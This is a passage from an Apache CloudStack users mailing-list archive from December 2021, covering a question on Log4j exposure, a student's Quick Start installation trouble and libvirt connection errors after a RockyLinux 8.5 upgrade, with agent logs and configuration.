attempt and showed it failing. If you are unsure [1] describes what we feel
is applicable to Cloudstack as well..

[1] http://slf4j.org/log4shell.html

On Mon, Dec 13, 2021 at 9:55 AM Bs Serge  wrote:

> Hi all,
>
> I’m sure all of you are aware of what’s going with the Log4j security
> vulnerability, If not then :
>
> - https://www.wired.com/story/log4j-flaw-hacking-internet/
> -
>
> https://logging-apache-org.translate.goog/log4j/2.x/security.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US
>
> So some of us are wondering :
>
> Does it affect some versions of the management server installation? and
> What can one do to make sure that they are safe from this vulnerability?
>
> Best Regards,
>


-- 
Daan


Log4j in Cloudstack

2021-12-13 Thread Bs Serge
Hi all,

I’m sure all of you are aware of what’s going with the Log4j security
vulnerability, If not then :

- https://www.wired.com/story/log4j-flaw-hacking-internet/
-
https://logging-apache-org.translate.goog/log4j/2.x/security.html?_x_tr_sl=de&_x_tr_tl=en&_x_tr_hl=en-US

So some of us are wondering :

Does it affect some versions of the management server installation? and
What can one do to make sure that they are safe from this vulnerability?

Best Regards,


Re: Issue with Quick Start Guide

2021-12-13 Thread Daan Hoogland
Matthew,
none of your screenshots are accepted by the list-server. Can grep it in
text form?

On Fri, Dec 10, 2021 at 6:38 PM Matthew Samani 
wrote:

> Hi Daan,
>
> You are correct. The gateway is not acting as a host. It just lets my
> other machine connect to the outside world.
>
> Also, you are correct that I am not using this as a production system.
> Next semester though, I plan on creating a Cloudstack setup with 10
> physical machines.
>
> Below is a screenshot of my management-server.log file during the time I
> tried to run the install. The top one (2021-12-7 14:13:20, 315) is where I
> began the management setup on my browser. At the bottom of the first
> screenshot, I think that is where I tried to add a host from the
> Infrastructure tab.
>
> [image: image (4).png]
>
> On Fri, Dec 10, 2021 at 11:37 AM Daan Hoogland 
> wrote:
>
>> welcome Matt,
>> I'll take a while to read ;)
>>
>> When you call one machine the `gateway`, do you mean it is not acting as a
>> host but as a gateway to the outside world, and only the machine with the
>> management server is a host in the system?
>> Firewalls can be a pain, however the ports to open are really limited and
>> it sounds like you are not talking about this as an architecture for a
>> production system, so it is alright to completely disable them.
>> During enabling the zone, do you see any issues in the management server
>> or
>> agent logs?
>>
>>
>> On Fri, Dec 10, 2021 at 5:27 PM Matthew Samani 
>> wrote:
>>
>> > Good Morning All,
>> >
>> > My name is Matt and I have just joined this mailing list. I apologize in
>> > advance if this email becomes lengthy.
>> >
>> > I am new to working with Cloudstack and I have been trying to test out
>> the
>> > software a bit. I am trying to use the Quick Start guide provided by
>> > Cloudstack to get used to the general installation process and its use.
>> > While there was a bit of a learning curve, I have reached all the way to
>> > the end of the guide. To provide some information on my design, I am
>> using
>> > two CentOS VMs with one acting as the gateway and the other having the
>> > entire installation. I made sure to set Promiscuous Mode to Allow VMs
>> for
>> > both the gateway and client, provided enough computational resources,
>> > Enabled Nested VT-x/AMD-V, stopped and disabled NetworkManager on both
>> the
>> > gateway and client, and followed every single step verbatim (using
>> > copy/paste as much as possible and making adjustments where needed).
>> >
>> > The only issue is that when I hit "Launch Zone" as one of the final
>> steps,
>> > it gets stuck on Adding Host. I do usually get a notification saying
>> that
>> > it cannot connect to the management server. This doesn't make as much
>> sense
>> > since it should be the same machine. I have included a screenshot of
>> where
>> > I got stuck, the link to the Quick Start guide, and the link to the
>> book I
>> > used for my gateway (go to page 118). Can anyone give me any pointers? I
>> > have done the whole process twice and received the same results. I am
>> not
>> > sure if it would be the cause, however I want to note that I stopped and
>> > disabled the firewall on the client, but the gateway's firewall is
>> still up
>> > and running. While I can see the firewall on the client possibly causing
>> > issues, I am not sure about the gateway.
>> >
>> > [image: image (1).png]
>> >
>> >
>> > Quick Start Guide:
>> >
>> http://docs.cloudstack.apache.org/en/latest/quickinstallationguide/qig.html
>> >
>> > Gateway: https://oiipdf.com/mastering-centos-7-linux-server
>> > --
>> > Regards,
>> >
>> > Matthew Joseph Samani
>> > Email: saman...@montclair.edu
>> > Cell: 201-359-6077
>> >
>> >
>>
>> --
>> Daan
>>
>
>
> --
> Regards,
>
> Matthew Joseph Samani
> Email: saman...@montclair.edu
> Cell: 201-359-6077
>
>

-- 
Daan


Re: Issues with libvirt after upgrading to RockyLinux 8.5

2021-12-13 Thread Jeremy Hansen
It doesn’t error out but there is purposely no VMs running on these hosts to 
test the upgrade of the underlying distro before having to stop any active VMs.

[jeremy@cm02 ~]$ sudo virsh list
Id Name State


[jeremy@cm02 ~]$

-jeremy

> On Monday, Dec 13, 2021 at 12:06 AM, Wei ZHOU  (mailto:ustcweiz...@gmail.com)> wrote:
> Hi,
>
> Do virsh commands e.g. "virsh list" work ?
>
> -Wei
>
> On Mon, 13 Dec 2021 at 06:46, Jeremy Hansen 
> wrote:
>
> > Testing on an unused compute node, I tested upgrading to RockyLinux 8.5.
> >
> > I’m running Cloudstack 4.15.0.0.
> >
> > Trying to bring up cloudstack agent, I’m seeing some issues communicating
> > with libvirt:
> >
> > 2021-12-12 21:25:03,992 INFO [kvm.storage.LibvirtStorageAdaptor]
> > (Agent-Handler-1:null) (logid:) Attempting to create storage pool
> > d1b1e853-1c30-473d-badc-6c30318aa5b0 (Filesystem) in libvirt
> > 2021-12-12 21:25:03,997 ERROR [kvm.resource.LibvirtConnection]
> > (Agent-Handler-1:null) (logid:) Connection with libvirtd is broken: invalid
> > connection pointer in virConnectGetVersion
> > 2021-12-12 21:25:04,000 INFO [kvm.storage.LibvirtStorageAdaptor]
> > (Agent-Handler-1:null) (logid:) Found existing defined storage pool
> > d1b1e853-1c30-473d-badc-6c30318aa5b0, using it.
> >
> > Dec 12 21:24:13 cm02 libvirtd[269244]: End of file while reading data:
> > Input/output error
> > Dec 12 21:24:13 cm02 libvirtd[269244]: End of file while reading data:
> > Input/output error
> > Dec 12 21:24:26 cm02 libvirtd[269244]: End of file while reading data:
> > Input/output error
> > Dec 12 21:24:26 cm02 libvirtd[269244]: End of file while reading data:
> > Input/output error
> > Dec 12 21:24:26 cm02 libvirtd[269244]: Cannot recv data: Input/output error
> >
> > Libvirt version is: libvirt-6.0.0-37.module+el8.5.0+670+c4aa478c.x86_64
> >
> > Functional hosts that have yet to be upgraded are using:
> >
> > libvirt-6.0.0-35.module_el8.4.0+783+f8734d30.x86_64
> >
> >
> > My libvirtd.conf looks like this:
> >
> > listen_tcp=0
> > listen_tls=1
> > tcp_port="16509"
> > auth_tcp="none"
> > mdns_adv = 0
> > key_file="/etc/pki/libvirt/private/serverkey.pem"
> > cert_file="/etc/pki/libvirt/servercert.pem"
> > ca_file="/etc/pki/CA/cacert.pem"
> > tls_port="16514"
> > auth_tls=“none"
> >
> > 2021-12-12 21:43:42,841 ERROR [kvm.resource.LibvirtComputingResource]
> > (main:null) (logid:) uefi properties file not found due to: Unable to find
> > file uefi.properties.
> > 2021-12-12 21:43:42,901 INFO [kvm.resource.LibvirtConnection] (main:null)
> > (logid:) No existing libvirtd connection found. Opening a new one
> > 2021-12-12 21:43:43,127 INFO [kvm.resource.LibvirtComputingResource]
> > (main:null) (logid:) No libvirt.vif.driver specified. Defaults to
> > BridgeVifDriver.
> > 2021-12-12 21:43:43,296 INFO [kvm.resource.LibvirtComputingResource]
> > (main:null) (logid:) iscsi session clean up is disabled
> > 2021-12-12 21:43:43,312 INFO [cloud.agent.Agent] (main:null) (logid:)
> > Agent [id = 0 : type = LibvirtComputingResource : zone = 1 : pod = 1 :
> > workers = 5 : host = 192.168.30.59 : port = 8250
> > 2021-12-12 21:43:43,321 INFO [utils.nio.NioClient] (main:null) (logid:)
> > Connecting to 192.168.30.59:8250
> > 2021-12-12 21:43:43,325 INFO [utils.nio.Link] (main:null) (logid:) Conf
> > file found: /etc/cloudstack/agent/agent.properties
> > 2021-12-12 21:43:43,840 INFO [utils.nio.NioClient] (main:null) (logid:)
> > SSL: Handshake done
> > 2021-12-12 21:43:43,840 INFO [utils.nio.NioClient] (main:null) (logid:)
> > Connected to 192.168.30.59:8250
> > 2021-12-12 21:43:43,925 INFO [kvm.storage.LibvirtStorageAdaptor]
> > (Agent-Handler-1:null) (logid:) Attempting to create storage pool
> > 18796842-a137-475d-9799-9874240e3c0c (Filesystem) in libvirt
> > 2021-12-12 21:43:43,929 ERROR [kvm.resource.LibvirtConnection]
> > (Agent-Handler-1:null) (logid:) Connection with libvirtd is broken: invalid
> > connection pointer in virConnectGetVersion
> > 2021-12-12 21:43:43,932 INFO [kvm.storage.LibvirtStorageAdaptor]
> > (Agent-Handler-1:null) (logid:) Found existing defined storage pool
> > 18796842-a137-475d-9799-9874240e3c0c, using it.
> > 2021-12-12 21:43:43,933 INFO [kvm.storage.LibvirtStorageAdaptor]
> > (Agent-Handler-1:null) (logid:) Trying to fetch storage pool
> > 18796842-a137-475d-9799-9874240e3c0c from libvirt
> > 2021-12-12 21:43:43,985 INFO [cloud.serializer.GsonHelper]
> > (Agent-Handler-1:null) (logid:) Default Builder inited.
> > 2021-12-12 21:43:44,020 INFO [cloud.agent.Agent] (Agent-Handler-2:null)
> > (logid:) Proccess agent startup answer, agent id = 0
> > 2021-12-12 21:43:44,022 INFO [cloud.agent.Agent] (Agent-Handler-2:null)
> > (logid:) Set agent id 0
> > 2021-12-12 21:43:44,028 INFO [cloud.agent.Agent] (Agent-Handler-2:null)
> > (logid:) Startup Response Received: agent id = 0
> > 2021-12-12 21:43:44,031 INFO [cloud.agent.Agent]
> > (AgentShutdownThread:null) (logid:) Stopping the agent: Reason = sig.kill
> > 2021-12-12 21:43:55,682 INFO 

Re: Issues with libvirt after upgrading to RockyLinux 8.5

2021-12-13 Thread Wei ZHOU
Hi,

Do virsh commands e.g. "virsh list" work ?

-Wei

On Mon, 13 Dec 2021 at 06:46, Jeremy Hansen 
wrote:

> Testing on an unused compute node, I tested upgrading to RockyLinux 8.5.
>
> I’m running Cloudstack 4.15.0.0.
>
> Trying to bring up cloudstack agent, I’m seeing some issues communicating
> with libvirt:
>
> 2021-12-12 21:25:03,992 INFO  [kvm.storage.LibvirtStorageAdaptor]
> (Agent-Handler-1:null) (logid:) Attempting to create storage pool
> d1b1e853-1c30-473d-badc-6c30318aa5b0 (Filesystem) in libvirt
> 2021-12-12 21:25:03,997 ERROR [kvm.resource.LibvirtConnection]
> (Agent-Handler-1:null) (logid:) Connection with libvirtd is broken: invalid
> connection pointer in virConnectGetVersion
> 2021-12-12 21:25:04,000 INFO  [kvm.storage.LibvirtStorageAdaptor]
> (Agent-Handler-1:null) (logid:) Found existing defined storage pool
> d1b1e853-1c30-473d-badc-6c30318aa5b0, using it.
>
> Dec 12 21:24:13 cm02 libvirtd[269244]: End of file while reading data:
> Input/output error
> Dec 12 21:24:13 cm02 libvirtd[269244]: End of file while reading data:
> Input/output error
> Dec 12 21:24:26 cm02 libvirtd[269244]: End of file while reading data:
> Input/output error
> Dec 12 21:24:26 cm02 libvirtd[269244]: End of file while reading data:
> Input/output error
> Dec 12 21:24:26 cm02 libvirtd[269244]: Cannot recv data: Input/output error
>
> Libvirt version is: libvirt-6.0.0-37.module+el8.5.0+670+c4aa478c.x86_64
>
> Functional hosts that have yet to be upgraded are using:
>
> libvirt-6.0.0-35.module_el8.4.0+783+f8734d30.x86_64
>
>
> My libvirtd.conf looks like this:
>
> listen_tcp=0
> listen_tls=1
> tcp_port="16509"
> auth_tcp="none"
> mdns_adv = 0
> key_file="/etc/pki/libvirt/private/serverkey.pem"
> cert_file="/etc/pki/libvirt/servercert.pem"
> ca_file="/etc/pki/CA/cacert.pem"
> tls_port="16514"
> auth_tls=“none"
>
> 2021-12-12 21:43:42,841 ERROR [kvm.resource.LibvirtComputingResource]
> (main:null) (logid:) uefi properties file not found due to: Unable to find
> file uefi.properties.
> 2021-12-12 21:43:42,901 INFO  [kvm.resource.LibvirtConnection] (main:null)
> (logid:) No existing libvirtd connection found. Opening a new one
> 2021-12-12 21:43:43,127 INFO  [kvm.resource.LibvirtComputingResource]
> (main:null) (logid:) No libvirt.vif.driver specified. Defaults to
> BridgeVifDriver.
> 2021-12-12 21:43:43,296 INFO  [kvm.resource.LibvirtComputingResource]
> (main:null) (logid:) iscsi session clean up is disabled
> 2021-12-12 21:43:43,312 INFO  [cloud.agent.Agent] (main:null) (logid:)
> Agent [id = 0 : type = LibvirtComputingResource : zone = 1 : pod = 1 :
> workers = 5 : host = 192.168.30.59 : port = 8250
> 2021-12-12 21:43:43,321 INFO  [utils.nio.NioClient] (main:null) (logid:)
> Connecting to 192.168.30.59:8250
> 2021-12-12 21:43:43,325 INFO  [utils.nio.Link] (main:null) (logid:) Conf
> file found: /etc/cloudstack/agent/agent.properties
> 2021-12-12 21:43:43,840 INFO  [utils.nio.NioClient] (main:null) (logid:)
> SSL: Handshake done
> 2021-12-12 21:43:43,840 INFO  [utils.nio.NioClient] (main:null) (logid:)
> Connected to 192.168.30.59:8250
> 2021-12-12 21:43:43,925 INFO  [kvm.storage.LibvirtStorageAdaptor]
> (Agent-Handler-1:null) (logid:) Attempting to create storage pool
> 18796842-a137-475d-9799-9874240e3c0c (Filesystem) in libvirt
> 2021-12-12 21:43:43,929 ERROR [kvm.resource.LibvirtConnection]
> (Agent-Handler-1:null) (logid:) Connection with libvirtd is broken: invalid
> connection pointer in virConnectGetVersion
> 2021-12-12 21:43:43,932 INFO  [kvm.storage.LibvirtStorageAdaptor]
> (Agent-Handler-1:null) (logid:) Found existing defined storage pool
> 18796842-a137-475d-9799-9874240e3c0c, using it.
> 2021-12-12 21:43:43,933 INFO  [kvm.storage.LibvirtStorageAdaptor]
> (Agent-Handler-1:null) (logid:) Trying to fetch storage pool
> 18796842-a137-475d-9799-9874240e3c0c from libvirt
> 2021-12-12 21:43:43,985 INFO  [cloud.serializer.GsonHelper]
> (Agent-Handler-1:null) (logid:) Default Builder inited.
> 2021-12-12 21:43:44,020 INFO  [cloud.agent.Agent] (Agent-Handler-2:null)
> (logid:) Proccess agent startup answer, agent id = 0
> 2021-12-12 21:43:44,022 INFO  [cloud.agent.Agent] (Agent-Handler-2:null)
> (logid:) Set agent id 0
> 2021-12-12 21:43:44,028 INFO  [cloud.agent.Agent] (Agent-Handler-2:null)
> (logid:) Startup Response Received: agent id = 0
> 2021-12-12 21:43:44,031 INFO  [cloud.agent.Agent]
> (AgentShutdownThread:null) (logid:) Stopping the agent: Reason = sig.kill
> 2021-12-12 21:43:55,682 INFO  [cloud.agent.AgentShell] (main:null)
> (logid:) Agent started
> 2021-12-12 21:43:55,688 INFO  [cloud.agent.AgentShell] (main:null)
> (logid:) Implementation Version is 4.15.0.0
> 2021-12-12 21:43:55,690 INFO  [cloud.agent.AgentShell] (main:null)
> (logid:) agent.properties found at /etc/cloudstack/agent/agent.properties
> 2021-12-12 21:43:55,709 INFO  [cloud.agent.AgentShell] (main:null)
> (logid:) Defaulting to using properties file for storage
> 2021-12-12 21:43:55,711 INFO  [cloud.agent.AgentShell] (main:null)